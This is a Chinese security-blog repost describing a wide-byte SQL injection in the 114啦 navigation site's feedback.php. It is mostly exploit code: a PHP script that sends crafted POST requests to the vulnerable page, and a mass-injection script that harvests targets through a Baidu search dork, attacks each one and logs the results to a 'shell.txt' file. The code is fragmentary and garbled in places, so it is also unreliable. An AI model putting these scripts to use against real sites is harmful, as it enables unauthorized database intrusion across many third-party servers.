漏洞文件 feedback/feedback.php
影响版本
以下是引用片段: $username = empty($_POST['username']) ? '' : strip_tags(iconv('UTF-8', 'GBK', $_POST['username'])); if (!empty($error_msg)) $content = htmlspecialchars($content, ENT_QUOTES); // 验证次数 if (false === app_db::insert('ylmf_feedback', array('username', 'email', 'content', 'add_time'), throw new Exception(' 提交成功,感谢您的反馈! 返回首页
', 3); |
$username、$email、$content强制转换GBK编码但是均未过滤直接insert 构造UTF8宽字符形成宽字符注入
Exp:
$sbcopyright=' Usage: php '.$argv[0].' host /path ob_start(); $sock = fsockopen("$url", 80, $errno, $errstr, 30); fwrite($sock, "POST $path/feedback/feedback.php HTTP/1.1rn"); $headers = ""; fclose($sock); if (strpos($body, 'Duplicate entry') !== false) { ob_end_flush(); |
再发一个批量注入的吧!! c:shell.txt 记录
批量注入:
error_reporting(E_ERROR); - 2011.04.02 - ----------------------------------------- - by [email][email protected][/email] - ----------------------------------------- "; print_r($print); $keyword = '网站提交 inurl:/url-submit/';//百度搜索关键字 print_r (" [-] keyword : $keyword "); $fp = @fopen("c:shell.txt", 'a'); @fwrite($fp, "$print"); @fclose($fp); $timeout = 10; //读取网页超时(秒) $stratpage = 1; //读取百度起始页 $lastpage = 100; //读取百度尾页 for ( $i>=0 ; $i $array=ReadBaiduList($keyword,$timeout,$i); //print_r ($array); foreach ($array as $url ){ print_r(" [*] Sql Injection $urlrn"); $fp = @fopen("c:shell.txt", 'a'); @fwrite($fp, "rnHost:$url"); @fclose($fp); exploit($url); } fwrite($sock, "POST $path/feedback/feedback.php HTTP/1.1rn"); $headers = ""; fclose($sock); if (strpos($body, 'Duplicate entry') !== false) { function ReadBaiduList($keyword,$timeout,$nowpage) //返回网址列表Array while ($fp && !feof($fp)) $data .= fread($fp, 1024); @fclose($fp); preg_match_all("/})" href="http://([^~]*?)" target="_blank"/i",$data,$tmp); $num = count($tmp[1]); $array = array(); for($i = 0;$i { $row = explode('/',$tmp[1][$i]); $array[] = str_replace('http://','',$row[0]); } return $array; } ?> |
文章来源于lcx.cc:114啦网址导航留言本注入 - 脚本漏洞
相关推荐: T00ls.Net 碰到个有意思的帖子,端口数能否超过65535?
原帖内容如下: 标题:谁把终端改成了高端口?,作者:ddoop。 碰到一棒子的服务器~3389端口变成了78650 通常服务器的端口都是1-65535他来个顶你肺啊78650。。。情况如下 害我都连接不上桌面.奇怪的是~~que…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论